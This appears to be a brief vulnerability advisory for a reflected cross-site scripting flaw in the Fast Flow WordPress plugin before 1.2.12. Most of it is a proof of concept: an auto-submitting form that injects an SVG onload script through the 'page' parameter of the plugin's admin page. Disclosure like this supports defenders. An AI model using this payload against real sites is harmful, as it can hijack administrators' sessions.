Fast Flow < 1.2.12 - Reflected Cross-Site Scripting

Proof of Concept

<form action="https://example.com/wp-admin/admin.php?page=fast-tagger" method="post" name="form1">
   <input type="text" name="page" value='"><svg/onload=alert(/xss/)>'>
  <button type="submit"></button>
</form>
<script>
   document.form1.submit();
</script>